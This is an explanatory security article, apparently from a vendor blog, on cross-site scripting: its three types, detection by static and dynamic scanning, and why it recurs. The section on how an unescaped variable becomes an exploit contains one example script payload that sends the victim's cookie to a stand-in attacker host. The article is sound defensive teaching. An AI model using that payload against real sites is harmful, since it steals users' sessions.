Safeguard
Vulnerabilities

What Is XSS? Cross-Site Scripting Full Form and Basics

XSS is short for cross-site scripting, a vulnerability that lets attackers run malicious scripts in a victim's browser. Here's how it works, its three main types, and how it's actually caught.

Safeguard Research Team
Research
Updated 5 min read

XSS stands for cross-site scripting — that's the XSS full form in one line — a vulnerability class where an attacker gets malicious JavaScript to run in another user's browser session by injecting it into a web page that trusts unvalidated input. It has held a spot on the OWASP Top 10 for over a decade because it's cheap to introduce — one unescaped template variable is enough — and expensive to exploit against, since it can steal session cookies, capture keystrokes, or silently perform actions as the logged-in victim.

What does XSS actually let an attacker do?

Once an attacker's script executes in a victim's browser, it runs with the same permissions as the legitimate page — meaning it can read cookies and local storage, make authenticated requests to your API using the victim's session, rewrite the DOM to phish credentials, or redirect the user entirely. This is what separates cross site scripting vulnerability from a cosmetic bug: the script isn't running on the attacker's infrastructure, it's running inside the victim's authenticated session on your domain, which is precisely why the browser's same-origin protections don't stop it.

What are the three main types of XSS?

Stored XSS happens when malicious input gets saved server-side — a comment field, a username, a support ticket description — and rendered unescaped for every user who later views that content, making it the most dangerous variant because one injection point can compromise many victims. Reflected XSS happens when input from the request itself (a URL query parameter, a search box value) is echoed back into the response without escaping, usually requiring the attacker to trick a victim into clicking a crafted link. DOM-based XSS is different from both: the vulnerable code never touches the server at all — client-side JavaScript takes something like location.hash and writes it into the page via innerHTML or similar, so the entire attack executes and completes inside the browser.

How does an unescaped variable turn into a working exploit?

Consider a search page that renders Results for: {searchTerm} directly into HTML without encoding. A normal user might search "shoes"; an attacker searches <script>document.location='https://evil.example/steal?c='+document.cookie</script>. If that string is inserted into the DOM unescaped, the browser executes it as a real script tag rather than displaying it as text, and the victim's session cookie is exfiltrated to the attacker's server. The fix isn't complicated in isolation — output encoding, a Content Security Policy, and framework auto-escaping (React, Vue, and Angular all encode by default unless you explicitly opt out with something like dangerouslySetInnerHTML) — but it has to be applied consistently at every place user input reaches a rendered page, which is where large codebases quietly reintroduce the bug.

How do scanners actually find XSS before it ships?

Static analysis (SAST) traces data flow from an untrusted source — a request parameter, a database read — to a sensitive sink like an HTML template render or innerHTML assignment, flagging any path where the value isn't sanitized in between. This catches a large share of stored and reflected XSS at the code level, often before a single test runs. Dynamic analysis (DAST) takes a different angle, actually injecting XSS payloads into a running application's inputs and inspecting the rendered response for signs the payload executed, which is particularly effective at catching DOM-based XSS that static analysis alone can miss because the vulnerable logic lives entirely in client-side execution. Combining SAST and DAST closes both gaps — one traces the code path, the other confirms the exploit actually fires in a real browser context.

Why does XSS keep showing up in mature codebases?

Frameworks that auto-escape by default have cut the raw volume of XSS significantly, but three patterns keep reintroducing it: developers bypassing the framework's escaping ("just this once") for a rich-text feature, third-party widgets and ad scripts that render user content with their own, less careful logic, and API responses that get rendered by a different frontend than the one that validated them, so the sanitization assumption doesn't carry across the boundary. Teams that treat XSS prevention as a one-time framework choice rather than an ongoing scanning discipline are the ones that get bitten years later when a new feature reintroduces raw HTML rendering.

FAQ

What is the XSS full form?

XSS is short for cross-site scripting. The "cross-site" part is a historical artifact — early examples often involved a script from one site executing in the context of another — but modern XSS frequently happens entirely within a single site's own unescaped input handling.

Is XSS still relevant with modern frameworks like React?

Yes, though less common. React escapes rendered content by default, but XSS still shows up through dangerouslySetInnerHTML, third-party script tags, unescaped URL attributes (href, src), and server-rendered templates that predate the frontend framework.

What's the difference between stored and reflected XSS?

Stored XSS persists in a database or file and affects every user who views the infected content; reflected XSS exists only in a single request-response cycle and requires the attacker to get a victim to click a specific crafted link.

Can a web application firewall fully stop XSS?

A WAF can block many known payload patterns, but attackers routinely craft encodings and obfuscations that slip past pattern-matching rules. A WAF is a mitigating layer, not a substitute for fixing unescaped output at the code level.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.